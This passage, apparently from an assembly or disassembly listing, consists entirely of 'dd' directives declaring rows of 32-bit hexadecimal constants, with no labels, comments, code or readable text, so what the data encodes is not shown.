0A65C887Ch, 0C550069Bh, 407D6606h, 804CBA49h, 0BB882A80h dd 750B8781h, 28F48478h, 9DA73C87h, 0C2C19052h, 2480BA4h dd 930D87D8h, 0F589B0A8h, 98F02482h, 4CE812F8h, 0AC2183FCh dd 0C8F58101h, 0FCE6EA84h, 4847B4C4h, 0BD050457h, 321CE2h dd 0E617CFACh, 1448DA03h, 0ADA380C0h, 70711DB8h, 0B4F905F6h dd 0B414C729h, 0A700A014h, 0AA354C5h, 2988769h, 939AA1E0h dd 9440E883h, 4D24B33Ah, 203A647Fh, 0DBE2024Fh, 0DD1904B2h dd 94904C50h, 67B434FDh, 20B4C48h, 497EB5C0h, 33FB636Bh dd 6D214308h, 77AF5E00h, 0FFF23C01h, 33491Ah, 1D503100h dd 63DCCD43h, 0BCA1C00h, 0A2CEC27Bh, 0B9466015h, 8BA45B12h dd 33E39700h, 21DA7D06h, 0C7F4007Ah, 0D22E74C5h, 75EC8670h dd 793A5034h, 88DC0FEh, 42007EC1h, 20644148h, 0E5C58B15h dd 27050D4h, 0CFB63824h, 0A4407A52h, 0E9149A85h, 1DE0552Fh dd 0D340A692h, 0B5A0BB46h, 95E230C7h, 6CC88628h, 0A9AA4117h dd 0B9F28043h, 38A6F7h, 0F838DF8Ah, 7CB74D3Bh, 0F1C01A7Ah dd 0AF36A0CFh, 5A210009h, 46ECDE4h, 0CE041527h, 0C67E01B7h dd 1C026C95h, 206DB441h, 37CFE970h, 960B6C92h, 86B6DFC8h dd 930AD35h, 0A07ECB76h, 0B005F800h, 354C975Eh, 1A810C3Ch dd 3D458128h, 0AE96EFC4h, 0A6240BD3h, 21422826h, 0EFBC6A00h dd 86C22238h, 0C8D06E3h, 905E0FE7h, 5700DCA6h, 0DD9D7419h dd 41C033h, 0B392F71Eh, 9CEB820Ch, 80252800h, 949329C2h dd 0CAA50345h, 69B0416Eh, 3F1D112h, 198B5000h, 93E4C1B2h dd 0BAC2782Ch, 0F4C32604h, 0EC8529C9h, 30B7BC49h, 112A7DE4h dd 8869BB85h, 75728049h, 0AC53382Ah, 0B38CE000h, 5A54FE6h dd 0B6C7015Fh, 15FCB014h, 902867h, 23F17593h, 0A58B41BCh dd 80D1CE5Ch, 0E6FE735Eh, 0DB7800E7h, 9871FDC4h, 3C3762B0h dd 33906CF1h, 905CD0C2h, 3BA713F8h, 62F0D6B7h, 1400A02h dd 58D515C0h, 0FDBD28C8h, 38884DD4h, 83F58A80h, 448CA0F0h dd 8207AD81h, 0A8CA95F5h, 131A5A0h, 823C9142h, 541FC1F2h dd 5A0E7D02h, 910F3DDCh, 1CEE5707h, 3F740001h, 2A12A66Bh dd 3C088AADh, 0EFC6C083h, 0E346AE91h, 6C003C22h, 0D62AEFBEh dd 4AE40D25h, 758030DAh, 5528FC30h, 145FC049h, 6FD9DC40h dd 2CE7ECDDh, 214B81Dh, 633C60B0h, 848018C2h, 0BD929834h dd 97C21D3Fh, 0B4277D8Ch, 75837EF1h, 0F2410630h, 0BD840BC1h dd 0C8E85025h, 3703462Dh, 4DC7A38Eh, 4F3918F0h, 0B799213Dh dd 0FE48F500h, 0EE5F5A0Ch, 17A63C66h, 8EFF2D00h, 34E48A86h dd 3D906C17h, 5008B065h, 2A84C0BEh, 0A146BB8Ch, 791C4622h dd 92C12A7Ch, 3DD9F44Eh, 0B83B8440h, 3432802Bh, 684BEF4Eh dd 7CD0E68Dh, 0B803075Fh, 4008E5BDh, 758C6E43h, 0F0E11498h dd 80F51563h, 5FE12869h, 4CECA14Bh, 4C00C573h, 2BB19B4h dd 0BE051637h, 32BC21Eh, 4223F03Ah, 266DF900h, 4EA640Dh dd 8DA2405Ch, 0D4FCE450h, 691D2713h, 7DB21404h, 213E5046h dd 4FE03Bh, 35143BFDh, 1611CA71h, 9D050Fh, 0BF60540Eh dd 0A1649AC2h, 48C0C7F8h, 505C1F03h, 0C337FF3Bh, 33E4C818h dd 0E2BBF109h, 15C50A0h, 1FBE1066h, 282EEDF3h, 62E70BECh dd 0BA0C2091h, 0BAF6BF55h, 0F27E04E8h, 0F1467BE9h, 84582D90h dd 50B72EA7h, 58C38020h, 3D2941E5h, 5DA0AA81h, 16206090h dd 0F83134CEh, 2094A7B2h, 20E45349h, 60CBB784h, 4010AA5Bh dd 0EC15F24Eh, 7FC82E1Ah, 0A334F104h, 93809CEAh, 59B1F276h dd 90033073h, 3B8624B0h, 0F8ADD01Ch, 344EC052h, 0B70571F3h dd 28F62EFh, 42A08D88h, 4037D8A4h, 0C8D80486h, 9A5E00ACh dd 8055B50Ah, 9403E6CDh, 986366A1h, 8B43B8E4h, 7E0418AEh dd 1123713Ch, 626F5039h, 2037A688h, 8C927B1Bh, 4F855B08h dd 79FA8336h, 4C98EA1Ch, 0D779798h, 1980A096h, 0DFB7BC20h dd 40155AC2h, 23E4E680h, 622631C0h, 0C504F1D5h, 0FCC08E0Bh dd 1B52C4h, 11ADBD4Ch, 5ED81AA7h, 3AF08400h, 0AE2DE441h dd 53240020h, 44E77BAh, 94A43F2Ah, 0D019B1FBh, 1D1250CAh dd 341898D2h, 0B5B945ECh, 815A31E7h, 248E0E3Eh, 0F00EEC78h dd 0E00FA52Fh, 1461D2Eh, 4E3D386Dh, 0A4BABE04h, 7B4AC38h dd 67243188h, 0E5842360h, 26F11FDBh, 0C0301C66h, 9B40A098h dd 47704B9Ch, 0BE950307h, 0E22004A5h, 0F4C52BDh, 0A315B4F6h dd 0A705AA00h, 0A6F612BAh, 0FFC4B609h, 0EA285A4h, 0F0A81428h dd 30BB60A0h, 13C1BF97h, 0A620B6F8h, 4B50005h, 0BA5CE9Bh dd 9DEEE4A8h, 0BEE25A06h, 0D909812h, 3B2A101h, 0BAAD018h dd 96C09338h, 9F1B980Fh, 0B0286080h, 9708B9B3h, 9510D4E9h dd 0A078B261h, 31BAA9B6h, 59971598h, 0C253BC95h, 9D11150Ch dd 0A4007084h, 9C07A5E4h, 0A010C1B9h, 1809B688h, 2912BD9Bh dd 0CD072011h, 463575DBh, 4221E68Eh, 0C5020949h, 28884893h dd 25803E18h, 0A7151929h, 6633F82h, 0A9089E19h, 84F0E297h dd 0EA8F823h, 40C6A048h, 0D711EF80h, 38C1189Dh, 5A7FC4BCh dd 72105883h, 94F0574Bh, 0F40C06C8h, 7129C52Bh, 428239DEh dd 9987168Fh, 22114601h, 2FA99F8Bh, 0C78200A0h, 0C33A9CD1h dd 2A80A023h, 0C84C653Eh, 0E2181E1Dh, 0F206CB19h, 2EE24568h dd 8688A6EAh, 196A2164h, 7C42C80h, 467C11F1h, 0E2498A01h dd 3B3C40A0h, 9B6138C3h, 4C5B92A8h, 59A5B898h, 4A40078Ah dd 0E1226323h, 31185D40h, 0AE59D02Bh, 845B28D5h, 0E73F18C8h dd 0DE1440A2h, 1772A905h, 0DDC1C6A7h, 0C08635CFh, 511AC82Ch dd 3B875E3Dh, 3908B036h, 18BDE011h, 30D25974h, 0B9C29829h dd 0A0E8CCA0h, 14FC2FCh, 0E31451D7h, 51DA403h, 0C92548F1h dd 0B4DC1DFBh, 77FA03F1h, 301FD6ECh, 1872F785h, 944CA246h dd 4B5880DDh, 0A8278616h, 0EAC5E4C8h, 0C0FBB020h, 9F824B39h dd 7A6729D5h, 13862330h, 4E422818h, 0E854A14Ch, 828D3F18h dd 3AD5AD54h, 0A193A490h, 0C4F06F85h, 0B8666021h, 6F182421h dd 5CDE88D0h, 46C70CFFh dd 0D59E1F3Fh, 2623A1F1h, 3AA2284Ah, 1FF24E11h, 36A46784h dd 56113472h, 506B9E1Ah, 7E882E90h, 504B2BD4h, 88601028h dd 0A721D4C6h, 2255442Bh, 271535EEh, 4488C850h, 0AF116AF6h dd 0A12A8439h, 9ACC5CC8h, 20C8136Ch, 3F607212h, 0FC453468h dd 8160D048h, 2C89309Ah, 1D8C61A4h, 44C5C812h, 3349094h dd 1554338Bh, 14A8B21h, 0C8605E31h, 0BB0DCC63h, 311F3338h dd 0B0C2941Ah, 0C8112C52h, 184C2853h, 91610BC3h, 986C4C5Bh dd 264C2A10h, 2042B0DAh, 0C48B045h, 60B8986Ah, 8FEC111Fh dd 0E89174C1h, 38662A1Ch, 496DA868h, 99D445E0h, 143E1268h dd 88F7A4F7h, 21E48C81h, 1081141Eh, 9E01C5F2h, 6CAC60BDh dd 9C4CE17h, 0B4EF31Fh, 0EB3809Ah, 7B8FD97h, 1F21A814h dd 0A7BA41EEh, 0C4B4F03Ch, 0B36C0500h, 279801AAh, 14045CB6h dd 1B06F21Dh, 110F28BBh, 85B39B0Eh, 1CC0A502h, 0EB46C03h dd 27A805B5h, 1719AFh, 0BF980B24h, 0B7F012A7h, 0A305C478h dd 5E0DB3B9h, 41A0CCDh, 0E1EBC1FAh, 0B420A512h, 0B55E1C0Fh dd 184C14BAh, 341B8AA1h, 0C51305B0h, 24003133h, 0EAC604C8h dd 4B7F0C26h, 9E19BF74h, 11DD2517h, 574AB001h, 4C34A0AAh dd 9CAD17AEh, 0D2380F19h, 81787207h, 60D09377h, 4A03A814h dd 3BCE52F9h, 0F0D094C4h, 0BF9EFDh, 0FA7DA56h, 0E48F3943h dd 8187851Dh, 600068AEh, 0AEC04BA4h, 77461BCCh, 0C5C0190Dh dd 2F7BFC7Ch, 0A0B862F8h, 12C14080h, 0E9CC0530h, 0FDAB49A1h dd 58A9C2D3h, 0F65137BCh, 274F2C0h, 4D87CA0h, 6D233D76h dd 739FC7C6h, 1004FABDh, 0DAEF9CBCh, 0A68E4C6h, 5362BF72h dd 71E21FB8h, 9ADC8730h, 6381EDF8h, 775A2ACh, 0BFDFC3BCh dd 72104001h, 15F59CBDh, 31797899h, 8629E811h, 7E048CAEh dd 470C16CCh, 4581826Dh, 0C10EF8D9h, 0A8622348h, 0DC85027Eh dd 8A0AA03Ah, 0BE0038C4h, 96F52B82h, 0CEF10DFh, 0A0129771h dd 48A3A189h, 48D50912h, 4C5D2861h, 0CDB86422h, 6B2F59C1h dd 0D7F12091h, 0B0415FCCh, 6DDD0085h, 9AAD369h, 0C2012797h dd 0C4BE9B12h, 0A5E19D01h, 0E92C7866h, 0B49A0550h, 0C05487C0h dd 0D27B60F2h, 9B000DE8h, 3D4EA7E3h, 0A6410C1Ch, 32FE0060h dd 96392D2Ch, 4AC8AB2h, 0E872851Fh, 0D00C3414h, 0A0F20708h dd 94C8AAE2h, 0E9C5749Ch, 0A3082384h, 0C11A43E2h, 31F14274h dd 4988AC4Eh, 0AD09DD19h, 8E1FD05Ch, 0A221E164h, 3015794Fh dd 552449A2h, 63881051h, 733CB791h, 7C084646h, 70013B41h dd 2D0353DDh, 0B09CDBC4h, 0A463DD05h, 6C662B0Ch, 0A50208Ch dd 0C6D686E9h, 324811E4h, 24420949h, 91444843h, 121E1045h dd 20441F22h, 121A8921h, 481C241Bh, 2216911Dh, 19184417h dd 1349FC8Bh, 0D773FF80h, 770CEBE4h, 0C160DAD5h, 14089CA2h dd 0A0B684A0h, 54D40485h, 0E35080Bh, 43B1484Ch, 0A17E4723h dd 80E5D7BBh, 0A2139813h, 0E9FEAE07h, 0C0D1459Ch, 8ED09143h dd 74C878A1h, 9EF1F586h, 624742E0h, 0E99440B6h, 81B8BC41h dd 9FEB340h, 84F69E9Dh, 48A663A9h, 43FF4BFh, 56FEADFAh dd 7BF56088h, 0F011E1D9h, 747CEF75h, 5838A591h, 0B911A517h dd 5205ECE2h, 8E4B296h, 38A24F04h, 57FD0485h, 242058h dd 4194852Bh, 649C09B2h, 2112C430h, 0A548DF39h, 87565838h dd 0C4F4501h, 401E8583h, 0C1A0B6F0h, 0C73A3D18h, 94A2ECCDh dd 0A59F1314h, 0BE3E1Ch, 5E43AA1Ah, 0A4483CC8h, 74282F28h dd 0AB01E453h, 4C62C603h, 3985288Ch, 0E400D031h, 0B3825EEAh dd 0FABF87Dh, 1B384224h, 890F3360h, 2B3CDA50h, 1680D4C0h dd 89A68530h, 0F8E8CDA8h, 0C8460F30h, 0B08E52h, 4BF2F6D0h dd 146AD8FCh, 5C42A921h, 0A5979C00h, 0A7B24536h, 0A81F540Eh dd 93E163DBh, 163B90E6h, 0C8A60748h, 40534559h, 0FD247A40h dd 0D50DA9FEh, 702FE54Ch, 3E2CB7F0h, 0AD0CD615h, 0A088248Ch dd 20A4F60Ch, 1FCBB122h, 4055D78Bh, 561EBEC1h, 0C438A154h dd 0C248E0ECh, 160A02Bh, 3734578Ch, 0FD999245h, 3BB083ACh dd 9CF0C4h, 49DD8AF0h, 20A715FCh, 0C561FD60h, 956DAEh dd 7D4A1F91h, 425769F6h, 0BDDFEE00h, 0BE5B9F41h, 2B3E12D7h dd 0F000AB20h, 0ED1302B5h, 76433DE5h, 7990B380h, 0DD1CDF07h dd 0F371D600h, 8B68293Fh, 0F71000DCh, 5D1A296h, 200C794h dd 0CCB09760h, 1E8C8E35h, 40CA1FA5h, 7DAD16DDh, 0E9001AA7h dd 0E8F5109Dh, 7BA9B179h, 23A500B4h, 1AB375E5h, 0E37CDC9Ch dd 0C486B80Ch, 3B60804h, 0D179BA1Eh, 0C0A79635h, 0A988BBFFh dd 0B940A761h, 0BDF0E724h, 72AC14FEh, 39F40BFh, 77B0A7C2h dd 985AF6C0h, 0B83C21F8h, 60305388h, 0C38BAE98h, 81CA61Ah dd 0B48ABBFDh, 20D3DC00h, 0E8C288ADh, 5060A6AFh, 0AD368C5Bh dd 0C28BE004h, 8A07BC1Ah, 0CAA964C3h, 0B8E6AE42h, 23BF18h dd 24BE7DB8h, 6004C2E3h, 0C385EA0Ah, 0AEC12C35h, 0C440A586h dd 0F8640387h, 565FFA80h, 0F87B38BFh, 806D0111h, 76AE21C7h dd 1494D2B1h, 367A408Eh, 11FE8007h, 13639096h, 20DCA0BCh dd 1FF8A0E9h, 0F6843BEAh, 85505AA8h, 0A7C05504h, 0C704D9h dd 8E03DD99h, 7835E4ABh, 24DC871Dh, 1AC409BAh, 123481B0h dd 3586B7h, 0C111C3D0h, 0EA5B1028h, 83982480h, 0A5A8BF00h dd 0E919DCC8h, 40B64C75h, 0EA5A5063h, 0BF24E5D8h, 502033F1h dd 0B439806Ch, 0EC822423h, 74605035h, 0D0FEC6AAh, 4426091h dd 9A65F1BFh, 21F3020h, 0AF088AEh, 90C978EBh, 244026BCh dd 7B81586Dh, 0E51EC278h, 0F05F5460h, 0D030E3ACh, 61A53C87h dd 1CB19107h, 0AAC392B8h, 0A9F0C060h, 0C407A7B8h, 0B58BE455h dd 8C40104Dh, 17B1F151h, 0B75B019h, 7002EA47h, 0FC61E716h dd 0C0BCE058h, 9138A090h, 18E6BCA9h, 0A6601DC4h, 0C0AC901Eh dd 0BD75E758h, 88307B1Ah, 0B9BC40A8h, 6FE87420h, 717C8B1h dd 4C8AB453h, 0F07C8B30h, 0A1C7E878h, 0EBC0C375h, 0A18BF86h dd 5FBD7DE9h, 7D044898h, 7F8A556h, 8579EB20h, 0FED4D855h dd 78E3A70Bh, 0CA6031F0h, 2BC02E0h, 0EA55A58Fh, 0B84EC289h dd 829D1893h, 0F0091992h, 8A1C83A9h, 8B44AFBFh, 0BCADE880h dd 0C2AE7CB2h, 74E72030h, 8CC17CC3h, 86B6E0C2h, 6D22B114h dd 0BE044660h, 79CA65A0h, 0BC4B359h, 5B61FC5h, 0E49C1AB4h dd 0CBA4D55h, 9801138Bh, 60B725B5h, 21E91ADCh, 287CD3D8h dd 0C4B8242Ch, 551C0749h, 58EA09FCh, 0E452C48Bh, 2450329Fh dd 503BC0C8h, 20C4752Eh, 0AABFA507h, 69779D4Fh, 77C320C7h dd 0E4EAA2ACh, 0C38B2920h, 3C0F692Ch, 0E7248098h, 34C27D26h dd 0E9588518h, 20B305BCh, 0C1B58CB0h, 94FE866Ch, 0D218A680h dd 9AA85004h, 91FF38DAh, 12F8EA04h, 0F0CABF3Eh, 24F84B6h dd 1EB7ADB6h, 18877829h, 0C864C3D1h, 0B69905E7h, 3B88AD1Ah dd 0B805C068h, 2CAAA8A7h, 0BD878E7h, 64A7ACADh, 0B61A5175h dd 0B3185579h, 0F05044F8h, 95CAF61Dh, 86E8FA05h, 0A88320D0h dd 38AF5C1Eh, 0C3E31A13h, 0A9A0BA44h, 3C9EAD20h, 3AD4E649h dd 0A900935Bh, 1EB68A94h, 0BE1E8BE9h, 0C40BB822h, 0E28C8F07h dd 0E090B916h, 74AC9C90h, 82987CC9h, 1DB750C0h, 0B821B460h dd 0F623C484h, 4F1EE877h, 795049AEh, 0DC18C86Ch, 0E36825DFh dd 0E08F5CF4h, 52801628h, 0D3EC34C2h, 0C417EC96h, 340B50DDh dd 87AE21E0h, 0C8E090BEh, 0A078AD16h, 9D7BF0h, 997AFEE0h dd 86AE23C2h, 0B3A8F00Ch dd 0F792175h, 7DE9A9B8h, 0C8B0145Dh, 300E5527h, 10E0CC96h dd 8010014Eh, 0BF10D438h, 1606A73Eh, 0E8E388E9h, 146BA9F8h dd 0A160E328h, 1C2123C5h, 74E6DC00h, 202160A9h, 86E7ADA5h dd 914B13Ah, 0C21FBF75h, 54E0EEB8h, 78F4C435h, 278CA47Ah dd 0F83055FAh, 8A72B417h, 0D8D8CBF8h, 0A3C38788h, 8DA0A7DCh dd 749F5881h, 15E78BCh, 8E59828Ch, 0E198BDB5h, 0EF47E19Eh dd 0E5B08BBBh, 591E8DDBh, 45804299h, 5887EE9Fh, 6EB93E81h dd 8FB39D0Fh, 28F89E06h, 88EE981Bh, 42BAA018h, 4EBD1E84h dd 54703047h, 2E3ACEEBh, 2FD219AAh, 50FBFD08h, 0E9E2A30h dd 438742CBh, 5A8FEEA0h, 45F0BA9Bh, 884C8C6Dh, 0E84B8DF0h dd 568103B8h, 58BBBCCBh, 46C143A3h, 4B4EE080h, 871FA0F8h dd 8C189F54h, 58F9BE8h, 80B78345h, 4445047h, 0B448AFBFh dd 0B6428104h, 92DCC04Bh, 0B8008471h, 1266AA8Bh, 3D647CF9h dd 0FE00AC53h, 0E2E988D0h, 0EA11A209h, 6703DC04h, 0C1F189EFh dd 0C8C6E6E0h, 2C001AFAh, 389F6C8Ah, 25686Ah, 0B558F328h dd 0A3BBCEE1h, 0AC0B6E0Ch, 3B2E589Eh, 9D01F456h, 70062B3Dh dd 0A7A080A6h, 5DDB6827h, 6B7800A0h, 0D0F003B0h, 0B603F631h dd 6CEFADA6h, 0EB2002FAh, 0BE7A5642h, 8370209Eh, 3821158Ch dd 37F88EEh, 0EB5C4A24h, 417C069Fh, 0D009CB0h, 0F2A72394h dd 0CCAF2B2Ah, 6B218E08h, 8B0DBC2Eh, 0D8610E00h, 1D98E7E2h dd 586083A6h, 0EF55F025h, 20102364h, 68054F00h, 0BB621885h dd 0A02937F0h, 763177C8h, 0D902809h, 0B0482290h, 4DE45700h dd 0DDC72BF0h, 9FAA3A28h, 66759E02h, 0EC90F70Eh, 0E900483Fh dd 0C9E1B7C6h, 0ACB34E1Ah, 53DF401Ch, 5BEBF9C0h, 241FAD0h dd 3EA928E3h, 848496A5h, 0DB5609Ch, 0BF232395h, 6400B311h dd 0E9EF0DBDh, 7E0726C3h, 8F615CD2h, 369F976h, 0CF10BE94h dd 0C9E81B32h, 0D70012B5h, 0A4223955h, 0A1E71C27h, 98418CD4h dd 3980E2C3h, 674CABFh, 9D576E4Dh, 65A20098h, 0C6B6087h dd 48557D81h, 0D2A93426h, 49802F19h, 71BC0FA3h, 0EA0AA058h dd 1C729222h, 1206FCC4h, 28A199EAh, 0F881CD1h, 0F5467FECh dd 804B69E0h, 17146C40h, 3ED45E20h, 408E2A2h, 499CA0BBh dd 0F2ADCCFEh, 725B38B0h, 0EEC37480h, 20085F91h, 0CF283D0Dh dd 0E401D021h, 9011F187h, 888022D7h, 86A0205Ah, 1F72454h dd 145CF19Ch, 70528861h, 4018118h, 146C90DDh, 0FE6C0F71h dd 70B0EF7Fh, 36173FE8h, 34D85C93h, 36308CC9h, 8A3C2126h dd 673C3h, 144FAEE6h, 715A0E85h, 5BEE4906h, 0DF7086A8h dd 9FCE4490h, 0CBEC88C2h, 73EDA700h, 0A64A9A64h, 892666Ch dd 0AC0021F6h, 341DED9Fh, 146E26B9h, 0BC819436h, 5A5310h dd 2B3E1A54h, 0C6B9A8D9h, 41E5C3B1h, 95B3C500h, 0DF997EBEh dd 23BA3D51h, 0E0C0EF8Ah, 244389B0h, 584F8087h, 0BBB3BA83h dd 53B0189Dh, 0A857E91Eh, 94F82F28h, 0C44B8880h, 0B1CFE493h dd 0BA842043h, 2EB460C8h, 0CD032474h, 94EE80FCh, 9B57B5E5h dd 4FEF860Ch, 0C0E0086Bh, 0E59C8C21h, 0DD0029B1h, 76544113h dd 280B6694h, 15B8BD6Ch, 84E73C21h, 39D10418h, 36052B9Eh dd 78C08ABh, 3D89F400h, 32A8103Ah, 75A0FCCBh, 609CD484h dd 214CEDA4h, 0ADC0A264h, 1C44ED9Ch, 4020A59Ah, 0B9D5E867h dd 79C0D366h, 9ED9AFB0h, 3A871C26h, 40D7C08Ah, 0A97DCE54h dd 5FBB5014h, 94E00C0h, 0C05378C5h, 141C926Ch, 0D8EBACEFh dd 851FEA00h, 2A36BCAAh, 4E0E4092h, 20A72E73h, 0AFD2CF7Eh dd 5508CC66h, 7B016F21h, 0B876B92Eh, 0FADC74A0h, 23C8A001h dd 24A783C8h, 62E49403h, 98047184h, 48EDF067h, 4B434264h dd 0A11EF322h, 8040EDA0h, 8344E0E7h, 0A69C0BD0h, 68049E7Bh dd 54FA44E1h, 0AC94E888h, 0A3FF0980h, 1421C52Bh, 8C757B60h dd 31213618h, 887700BCh, 0C9B35BB7h, 0F5004D28h, 1B7D64A8h dd 0C02D56FAh, 0B44B8E29h, 5906F4B0h, 0D01FC904h, 3C1932FAh dd 3C0A7C58h, 95807511h, 9357B6E5h, 8DE3448Ch, 11E59D00h dd 0C27E922h, 0AECCA0DFh, 7F01857h, 0C342B8EBh, 0EEDEBE00h dd 92413954h, 0F8C91597h, 0B90CAC5Fh, 5551D07Ah, 0D66FD83Dh dd 1B506278h, 3BA900C0h, 0CF17DC09h, 1C0EEBC9h, 813EF064h dd 2182047Ah, 80B40C53h, 70856218h, 484DCB30h, 248F07B6h dd 111C2735h, 2E4D81BEh, 31D6A7A5h, 756D105Bh, 9E90032Eh dd 27FB5083h, 3B645042h, 0D9E854C3h, 6952EE00h, 946492A1h dd 0D1D0096Ch, 8083A39Fh, 304CD51Fh, 48C79DCh, 23900D88h dd 20B16287h, 5A0DB067h, 0B33D7E01h, 0FE4037A7h, 368BF886h dd 8300A95Ch, 0E655532Ah, 9C1F732h, 7FCA13ECh, 8815BF00h dd 19042B4Ah, 0B0E0D5B4h, 6C0F43C0h, 0A0E8B2F6h, 732A410Ch dd 2484B885h, 7C0C5C3Bh, 1600EA46h, 7DBD7ACDh, 4F241DFDh dd 60C0A863h, 3B87365Ch, 0F5A8E1B6h, 71A14688h, 238E0D08h dd 4EB2C497h, 0EC0DA761h, 15ACB400h, 0DF70149Eh, 0AEA2CC46h dd 311E206Ch, 4C2EFAFBh, 0B8EF4740h, 6480A1D5h, 0C08F34F0h dd 0E2B8E28h, 940C5E2Fh, 31243768h, 0AF300B5h, 881404C9h dd 4449173Bh, 23698038h, 8B2F9770h, 54F910E0h, 78118F00h dd 74059804h, 0F426F1B2h, 0E7E8F848h, 51D5058Ch, 0C23EB1A7h dd 7490AD58h, 3B64AA36h, 90607058h, 572489E5h, 0F873E8BBh dd 15A4E598h, 0B4BE046Dh, 8102083Fh, 0DA1F6716h, 8FD2E8C0h dd 602A2126h, 0D46B6440h, 2D78C18Dh, 49D64C37h, 82F061A8h dd 78959C18h, 0A9346887h, 941899E8h, 0F6E980A2h, 82E930h dd 0A9C3FEB1h, 3B7809C8h, 50D58700h, 703DAA1Eh, 8244833h dd 3665B9A1h, 0C0631038h, 43164FA0h, 95E0EB10h, 8B104048h dd 0E38C50F1h, 7BD95540h, 190093F9h, 0E6E778B9h, 0CFF0B007h dd 3FCDB660h, 7C057202h, 97F5CCEFh, 0BB1C0260h, 0CD376CC9h dd 0E46204D4h, 90C49007h, 0F2390006h, 10A86B85h, 910BE4C5h dd 18683F47h, 58DCAF88h, 2730688Dh, 2F60E0F1h, 9106E492h dd 0CF983F25h, 0C6660030h, 0F615D087h, 78143DA9h, 0A5984F4Bh dd 0C09ECC08h, 23970DB3h, 0B022AF46h, 0DBB6A09h, 3022898Ch dd 1252B978h, 4FB2E21h, 12A6E40Ch, 0B09CE00Eh, 0E224484Ch dd 7CE70BA0h, 6517C014h, 5C20D904h, 12BD8543h, 91DBE2h dd 29D85685h, 7A03E351h, 3881CA83h, 3A08857h, 0B840D5FBh dd 4B85558Fh, 8348BCCh, 4BC977D8h, 0E4CC5400h, 2713A41Eh dd 0B840E548h, 2F3FD507h, 0E9210084h, 0EC88AF3Dh, 6C93D39Ah dd 4D37BA38h, 1F8001Ch, 3F40E9A3h, 78F0361h, 4BDC3DF6h dd 7486E690h, 0B783A601h, 4E795487h, 102044C1h, 0AA848880h dd 8058B159h, 0A7A82E48h, 68008756h, 6F0B2E70h, 24C977E9h dd 0C02CB5EDh, 0E6F91388h, 37F28898h, 9B77D0Ah, 281DC8EAh dd 78B220h, 2F150135h, 0F2731E4Dh, 8987AB01h, 597F5153h dd 21170898h, 0F2006B44h, 0BEAB9778h, 0A03060h, 280CD2BCh dd 0F6831335h, 401407Ch, 504D9959h, 0FED032FDh, 0A74F0014h dd 0A1B86FC1h, 0B0331922h, 7430891h, 0C19F7121h, 5A27C33Eh dd 66C389D0h, 401B7900h, 20E624B6h, 9CCA0FFDh, 9561115Eh dd 803BD00Ch, 424FAB80h, 57156853h, 13C86885h, 148825C1h dd 1ABBE0C3h, 9EC0C742h, 0D80A26B4h, 0A77C0C00h, 9AC48190h dd 805F6010h, 67FEB772h, 0C0511730h, 596D2Fh, 5AD68AD8h dd 42CE3339h, 216708CCh dd 0D8510090h, 3D2170FBh, 24E21C8Bh, 6647EE05h, 0A3C179BCh dd 885736FEh, 3C2AB8D0h, 0B5F90790h, 6FEDE97Bh, 0FBAE583h dd 0CE58982Ch, 40B04F1Ah, 0D238FAB1h, 2FD88318h, 0D7D81863h dd 1050F293h, 17821056h, 806A1160h, 98BA1D19h, 1F61EC63h dd 197CFA3Eh, 20879675h, 90A05D06h, 7E78A690h, 134BE21Eh dd 820A5126h, 0FE06BCF2h, 3EE938FDh, 6D0060B8h, 0A525C247h dd 8300DAF7h, 4632DAAh, 3B82765h, 0A42F7EFFh, 410018E6h dd 5D108E34h, 1971AB9Eh, 8739602h, 5B218031h, 0D12E1086h dd 53CC2F41h, 1A074C54h, 1145ECA0h, 9A0C8020h, 14FA0A4Dh dd 648CD6C5h, 3E806464h, 0AC42D687h, 8D64448Ch, 81D84E38h dd 3E7CEEA3h, 302402D5h, 0E0D40164h, 0D89A87FEh, 0BA8C4060h dd 1464681Dh, 90984F78h, 6EC108A6h, 4CC499B8h, 0C19E7040h dd 0D73B922Bh, 2AF4001Ch, 4C57D968h, 5CBE49B3h, 0AB2F7F1Fh dd 10880794h, 627BA457h, 8055202Eh, 82040910h, 31C6D244h dd 0E8BFAC80h, 0ABE3102Eh, 0AA870646h, 2C15874h, 0EC98F70Dh dd 98801472h, 0B21E734Dh, 417F0A18h, 88FE30h, 0A0519D48h dd 1CCF05EFh, 108470D0h, 0BC005AACh, 44BE7BEAh, 0E801FD53h dd 0D281A58Ah, 208179B0h, 6515C12Fh, 4C204F82h, 62204245h dd 170F020h, 8AF80C3Eh, 0C8093680h, 0F4A3080h, 5CE5F965h dd 8F1369F6h, 5C5C61C7h, 0ECA0D218h, 49C67A1Ah, 976A1C01h dd 9BC82793h, 9FC95F0h, 50BA6525h, 0FBE8082h, 0ABFB503h dd 1EE7E074h, 0C02780B0h, 0AC974540h, 30B1F901h, 266B032Eh dd 80235832h, 0A6F26E01h, 19186187h, 663F88h, 38B1A1F2h dd 5847FD27h, 83DB0A06h, 11C069C2h, 255B224h, 48AA079Eh dd 8E88817Fh, 45DACE4Ch, 6032E4A4h, 0C6391Bh, 4D75C29h dd 7F6F43CCh, 0EB20D490h, 202C9031h, 14182EE6h, 2341A8FEh dd 0B81601EEh, 664BFA8Ch, 45C8E06Dh, 0DA5CDF08h, 0A2984CB3h dd 108C048Ch, 389B9E5Bh, 10843B59h, 54017487h, 30A0AF28h dd 0EAB8AA95h, 0B0298F28h, 4049FDFAh, 7FA209A0h, 5EB2006Eh dd 3BDB710h, 0B9F2A32Ah, 0EBC06695h, 40A0885Ch, 4626BA7Ah dd 5902A05Dh, 43F28Bh, 0D3C405CFh, 3C7458h, 534517D4h dd 28CC9E4Eh, 0F801D1Eh, 338D81A6h, 449A0D83h, 0E2BA8106h dd 7C982BB3h, 50993DC5h, 21301B98h, 6F8CE95h, 0BBD12306h dd 9703946h, 36D23E15h, 8C4002Ah, 0B8287D9Ch, 45186810h dd 72B4230Ah, 0BFCE80FCh, 24D25DCFh, 7622D490h, 990D1A0Fh dd 90A07141h, 532B4DCh, 74121D8h, 0CD8303ACh, 0AA1647Ah dd 0F30B3380h, 0E9E05140h, 97025800h, 6C681D50h, 60DC6449h dd 101EB049h, 7E8C2CACh, 0CAEF1004h, 9D071483h, 94CBBEB4h dd 8F5C0020h, 0B07BCD02h, 4801CC0Fh, 7084B590h, 9C203113h dd 6F048C81h, 6987A7F2h, 67004038h, 0BAF772F2h, 2689C5A0h dd 189CF41Ch, 69F7182h, 0B688A493h, 0BF028E4Fh, 93D9039Ch dd 20083B62h, 0C4E337Dh, 41296118h, 5E6B7C00h, 83BA58C3h dd 0E5590016h, 2A64B796h, 0EA26366Fh, 8B0A5CFBh, 2F029C2Ch dd 6360B2h, 188D5C82h, 6B99C91h, 7E50B1FFh, 